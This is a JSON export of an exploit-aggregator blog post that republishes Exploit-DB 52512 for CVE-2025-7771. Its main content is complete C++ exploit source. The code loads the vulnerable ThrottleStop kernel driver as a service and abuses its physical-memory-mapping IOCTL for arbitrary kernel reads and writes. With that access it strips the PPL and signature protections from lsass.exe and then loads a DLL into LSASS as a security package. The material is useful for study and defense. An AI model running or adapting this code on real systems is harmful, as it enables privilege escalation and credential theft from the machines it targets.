{"id":48694,"date":"2026-04-22T08:34:31","date_gmt":"2026-04-22T08:34:31","guid":{"rendered":"http:\/\/localhost\/?p=48694"},"modified":"2026-04-22T08:34:31","modified_gmt":"2026-04-22T08:34:31","slug":"throttlestop-kernel-driver-kernel-out-of-bounds-write-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=48694","title":{"rendered":"Throttlestop Kernel Driver &#8211; Kernel Out-of-Bounds Write Privilege Escalation_EDB-ID:52512"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-22T13:27:57&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Throttlestop Kernel Driver &#8211; Kernel Out-of-Bounds Write Privilege Escalation Exploit Details: https:\/\/xavibel.com\/2025\/12\/22\/using-vulnerable-drivers-in-red-team-exercises\/ Date: 8\/12\/2025 Exploit Author: Xavi Beltran Vendor Homepage:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Throttlestop Kernel Driver &#8211; Kernel Out-of-Bounds Write Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52512&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-7771&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: Throttlestop Kernel Driver &#8211; Kernel Out-of-Bounds Write Privilege Escalation \\r\\n# Exploit Details: https:\/\/xavibel.com\/2025\/12\/22\/using-vulnerable-drivers-in-red-team-exercises\/\\r\\n# Date: 8\/12\/2025\\r\\n# Exploit Author: Xavi Beltran\\r\\n# Vendor Homepage: https:\/\/www.techpowerup.com\/download\/techpowerup-throttlestop\/\\r\\n# Version: 3.0.0.0\\r\\n# Tested on: Windows 11\\r\\n# CVE-2025-7771\\r\\n\\r\\n#define WIN32_NO_STATUS\\r\\n#define SECURITY_WIN32\\r\\n#include \\u003cWindows.h\\u003e\\r\\n#include \\u003cPsapi.h\\u003e\\r\\n#include \\u003csuperfetch\/superfetch.h\\u003e\\r\\n#include \\u003ctlhelp32.h\\u003e\\r\\n#include \\u003cstring\\u003e\\r\\n#include \\u003csspi.h\\u003e\\r\\n\\r\\n# define IOCTL_MMMAPIOSPACE  0x8000645C\\r\\n#pragma comment(lib, \\&#8221;Secur32.lib\\&#8221;)\\r\\n\\r\\n#pragma pack(push,1)\\r\\ntypedef struct {\\r\\n    ULONGLONG PhysicalAddress; \/\/ +0\\r\\n    DWORD     NumberOfBytes;   \/\/ +8\\r\\n} PHYS_REQ;                    \/\/ 0x0C\\r\\n#pragma pack(pop)\\r\\n\\r\\n\/\/ Struct needed to call nt!NtQueryIntervalProfile\\r\\ntypedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);\\r\\n\\r\\nLPVOID GetBaseAddr(LPCWSTR drvname)\\r\\n{\\r\\n    LPVOID drivers[1024];\\r\\n    DWORD cbNeeded;\\r\\n    int nDrivers, i = 0;\\r\\n    if (EnumDeviceDrivers(drivers, sizeof(drivers), \\u0026cbNeeded) \\u0026\\u0026 cbNeeded \\u003c sizeof(drivers))\\r\\n    {\\r\\n        WCHAR szDrivers[1024];\\r\\n        nDrivers = cbNeeded \/ sizeof(drivers[0]);\\r\\n        for (i = 0; i \\u003c nDrivers; i++)\\r\\n        {\\r\\n            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) \/ sizeof(szDrivers[0])))\\r\\n            {\\r\\n                if (wcscmp(szDrivers, drvname) == 0)\\r\\n                {\\r\\n                    return drivers[i];\\r\\n                }\\r\\n            }\\r\\n        }\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nuint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {\\r\\n    auto mm = spf::memory_map::current();\\r\\n    if (!mm) {\\r\\n        printf(\\&#8221;[!] Superfetch init failed!\\\\n\\&#8221;);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    auto phys = mm-\\u003etranslate((void*)virt_addr);\\r\\n    if (!phys) {\\r\\n        printf(\\&#8221;[!] Translate failed for VA %p!\\\\n\\&#8221;, (void*)virt_addr);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    \/\/printf(\\&#8221;[+] Virtual Adress=0x%016llx -\\u003e Physical Address 0x%016llx\\\\n\\&#8221;, virt_addr, phys);\\r\\n    \/\/ &#8212; PHYSICAL READ &#8212;\\r\\n    PHYS_REQ in{};\\r\\n    in.PhysicalAddress = phys;\\r\\n    in.NumberOfBytes = 0x8;\\r\\n    ULONGLONG out = 0;\\r\\n    DWORD br = 0;\\r\\n    BOOL ok = DeviceIoControl(hDrv,\\r\\n        IOCTL_MMMAPIOSPACE,\\r\\n        \\u0026in, sizeof(in),    \/\/ 0x0C\\r\\n        \\u0026out, sizeof(out), \/\/  Accepts 4 or 8\\r\\n        \\u0026br, nullptr);\\r\\n\\r\\n    \/\/printf(\\&#8221;[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\\\\n\\&#8221;, ok, br, GetLastError(), (unsigned long long)out);\\r\\n    if (ok \\u0026\\u0026 br == 8 \\u0026\\u0026 out) {\\r\\n        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; \/\/ 8 bytes exactos\\r\\n              printf(\\&#8221;[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\\\\n\\&#8221;, (unsigned long long)virt_addr, (unsigned long long)result);\\r\\n        return result;\\r\\n    }\\r\\n\\r\\n    return -1;\\r\\n}\\r\\n\\r\\nuint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {\\r\\n    auto mm = spf::memory_map::current();\\r\\n    if (!mm) {\\r\\n        printf(\\&#8221;[!] Superfetch init failed!\\\\n\\&#8221;);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    auto phys = mm-\\u003etranslate((void*)where);\\r\\n    if (!phys) {\\r\\n        printf(\\&#8221;[!] Translate failed for VA %p!\\\\n\\&#8221;, (void*)where);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    \/\/printf(\\&#8221;[+] Virtual Adress=0x%016llx -\\u003e Physical Address 0x%016llx\\\\n\\&#8221;, where, phys);\\r\\n    PHYS_REQ in{};\\r\\n    in.PhysicalAddress = phys;\\r\\n    in.NumberOfBytes = 0x8;\\r\\n    ULONGLONG out = 0;\\r\\n    DWORD br = 0;\\r\\n    BOOL ok = DeviceIoControl(hDrv,\\r\\n        IOCTL_MMMAPIOSPACE,\\r\\n        \\u0026in, sizeof(in),    \/\/ 0x0C\\r\\n        \\u0026out, sizeof(out), \/\/ 8 (Accepts 4 or 8)\\r\\n        \\u0026br, nullptr);\\r\\n\\r\\n    \/\/printf(\\&#8221;[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\\\\n\\&#8221;, ok, br, GetLastError(), (unsigned long long)out);\\r\\n    if (ok \\u0026\\u0026 br == 8 \\u0026\\u0026 out) {\\r\\n        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; \/\/ 8 bytes exactos\\r\\n    }\\r\\n\\r\\n    \/\/ WRITE\\r\\n    printf(\\&#8221;[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\\\\n\\&#8221;, (unsigned long long)what, (unsigned long long)where);\\r\\n    *(uint64_t*)out = what;\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nDWORD FindProcessId(const std::wstring\\u0026 processName) {\\r\\n    DWORD processId = 0;\\r\\n    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\\r\\n    if (snapshot == INVALID_HANDLE_VALUE)\\r\\n        return 0;\\r\\n\\r\\n    PROCESSENTRY32W entry;\\r\\n    entry.dwSize = sizeof(PROCESSENTRY32W);\\r\\n\\r\\n    if (Process32FirstW(snapshot, \\u0026entry)) {\\r\\n        do {\\r\\n            if (!_wcsicmp(entry.szExeFile, processName.c_str())) {\\r\\n                processId = entry.th32ProcessID;\\r\\n                break;\\r\\n            }\\r\\n        } while (Process32NextW(snapshot, \\u0026entry));\\r\\n    }\\r\\n\\r\\n    CloseHandle(snapshot);\\r\\n    return processId;\\r\\n}\\r\\n\\r\\n\\r\\nint main()\\r\\n{\\r\\n    DWORD lsassPid = FindProcessId(L\\&#8221;lsass.exe\\&#8221;);\\r\\n    printf(\\&#8221;[+] Target process PID: %d\\\\n\\&#8221;, lsassPid);\\r\\n    \/\/Installing the service\\r\\n\\r\\n    SC_HANDLE hSCManager;\\r\\n    SC_HANDLE hService;\\r\\n\\r\\n    \/\/ Open the Service Control Manager\\r\\n    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);\\r\\n    if (hSCManager == NULL) {\\r\\n        printf(\\&#8221;[!] Error opening SCM: %lu\\\\n\\&#8221;, GetLastError());\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/\/ Create the service\\r\\n    hService = CreateService(\\r\\n        hSCManager,               \\r\\n        L\\&#8221;ThrottleStop\\&#8221;,          \\r\\n        L\\&#8221;ThrottleStop\\&#8221;,           \\r\\n        SERVICE_ALL_ACCESS,       \\r\\n        SERVICE_KERNEL_DRIVER,    \\r\\n        SERVICE_AUTO_START,       \\r\\n        SERVICE_ERROR_NORMAL,    \\r\\n        L\\&#8221;C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\a.sys\\&#8221;,\\r\\n        NULL, NULL, NULL, NULL, NULL);\\r\\n\\r\\n    if (hService == NULL) {\\r\\n        printf(\\&#8221;[+] Error creating service: %lu\\\\n\\&#8221;, GetLastError());\\r\\n        CloseServiceHandle(hSCManager);\\r\\n        \/\/return 1;\\r\\n    }\\r\\n\\r\\n    printf(\\&#8221;[!] Service created successfully.\\\\n\\&#8221;);\\r\\n\\r\\n    if (!StartService(hService, 0, NULL)) {\\r\\n        printf(\\&#8221;[!] Error starting the service: %lu\\\\n\\&#8221;, GetLastError());\\r\\n    }\\r\\n    else {\\r\\n        printf(\\&#8221;[+] Service started correctly.\\\\n\\&#8221;);\\r\\n    }\\r\\n\\r\\n    LPVOID nt_base = GetBaseAddr(L\\&#8221;ntoskrnl.exe\\&#8221;);\\r\\n    printf(\\&#8221;[+] NT base: %p\\\\n\\&#8221;, nt_base);\\r\\n\\r\\n    HANDLE hDrv = NULL;\\r\\n    hDrv = CreateFileA(\\&#8221;\\\\\\\\\\\\\\\\.\\\\\\\\ThrottleStop\\&#8221;,\\r\\n        (GENERIC_READ | GENERIC_WRITE),\\r\\n        0x00,\\r\\n        NULL,\\r\\n        OPEN_EXISTING,\\r\\n        FILE_ATTRIBUTE_NORMAL,\\r\\n        NULL);\\r\\n\\r\\n    if (hDrv == INVALID_HANDLE_VALUE)\\r\\n    {\\r\\n        printf(\\&#8221;[-] Failed to get a handle on driver!\\\\n\\&#8221;);\\r\\n        return -1;\\r\\n    }\\r\\n    else {\\r\\n        printf(\\&#8221;[+] Handle on  driver received!\\\\n\\&#8221;);\\r\\n    }\\r\\n\\r\\n    ULONGLONG result = 0x0;\\r\\n\\r\\n    \/\/ nt!PsInitialSystemProcess nt + 0x5412e0\\r\\n    ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;\\r\\n\\r\\n    DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);\\r\\n    printf(\\&#8221;[+] EPROCESS: 0x%llX\\\\n\\&#8221;, Eprocess);\\r\\n    DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); \/\/ +0x2e0 UniqueProcessId : Ptr64 Void\\r\\n\\r\\n    DWORD64 SearchProcessPid = 0;\\r\\n    DWORD64 searchEprocess = Eprocess;\\r\\n    while (1)\\r\\n    {\\r\\n        searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) &#8211; 0x2e8; \/\/ +0x2e8 ActiveProcessLinks : _LIST_ENTRY\\r\\n        SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); \/\/ +0x2e0 UniqueProcessId : Ptr64 Void\\r\\n        if (SearchProcessPid == lsassPid) \/\/ LSASS PROCESS\\r\\n        {\\r\\n            break;\\r\\n        }\\r\\n    }\\r\\n\\r\\n    printf(\\&#8221;[+] Found LSASS EPROCESS!\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;[+] Removing PPL Protection&#8230;\\\\n\\&#8221;);\\r\\n    xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); \/\/ +0x6ca Protection : _PS_PROTECTION\\r\\n    printf(\\&#8221;[+] Removing Signature Level Protection&#8230;\\\\n\\&#8221;);\\r\\n    xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);\/\/ +0x6c8 Protection : SignatureLevel : UChar\\r\\n    printf(\\&#8221;[+] LSASS protections disabled\\\\n\\&#8221;);\\r\\n    CloseHandle(hDrv);\\r\\n\\r\\n    SECURITY_PACKAGE_OPTIONS spo = {};\\r\\n    SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)\\&#8221;c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\ntssp.dll\\&#8221;, \\u0026spo);\\r\\n    printf(\\&#8221;[+] DLL Injection successful!\\\\n\\&#8221;);\\r\\n\\r\\n    return 0;\\r\\n}&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52512&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.7,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:L\/AC:H\/AT:N\/PR:H\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52512&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-22T13:27:57&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Throttlestop Kernel Driver &#8211; Kernel Out-of-Bounds Write Privilege Escalation Exploit Details: https:\/\/xavibel.com\/2025\/12\/22\/using-vulnerable-drivers-in-red-team-exercises\/ Date: 8\/12\/2025 Exploit Author: Xavi Beltran Vendor Homepage:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Throttlestop Kernel Driver &#8211;&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,40,15,13,7,11,5],"class_list":["post-48694","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation_EDB-ID:52512 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=48694\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation_EDB-ID:52512 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-22T13:27:57&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Throttlestop Kernel Driver &#8211; Kernel Out-of-Bounds Write Privilege Escalation Exploit Details: https:\/\/xavibel.com\/2025\/12\/22\/using-vulnerable-drivers-in-red-team-exercises\/ Date: 8\/12\/2025 Exploit Author: Xavi Beltran Vendor Homepage:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Throttlestop Kernel Driver &#8211;...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=48694\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-22T08:34:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48694#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48694\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Throttlestop Kernel Driver &#8211; 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